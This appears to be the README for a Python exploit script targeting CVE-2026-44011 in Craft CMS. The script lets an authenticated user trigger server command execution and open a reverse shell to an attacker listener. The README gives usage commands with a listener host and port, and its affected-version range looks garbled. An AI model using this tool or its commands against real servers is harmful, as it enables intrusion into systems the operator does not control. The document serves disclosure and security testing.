This Python script adapts the attack described in the [Craft CMS security advisory]( An authenticated Craft user can reach a vulnerable field-layout configuration path and cause the server to execute commands.
Affected versions are Craft CMS **>=4.0.0, =5.0.0, <5.9.18**.
The script requires `curl` on both hosts. It uses Bash on the server. Python3 on the server also provides an interactive PTY; without it, the shell falls back to a basic connection.
python3 cve-2026-44011.py --url --lhost 192.0.2.10 --lport 8000 --username editor --password 'password' --check
python3 cve-2026-44011.py --url --lhost 192.0.2.10 --lport 8000 --username editor --password 'password'
Craft CMS credits [@precicom-vincent-tl]( as the **finder** of CVE-2026-44011. The vulnerability details and example payload are published in the [Craft CMS advisory GHSA-qrgm-p9w5-rrfw]( This script adapts that published technique.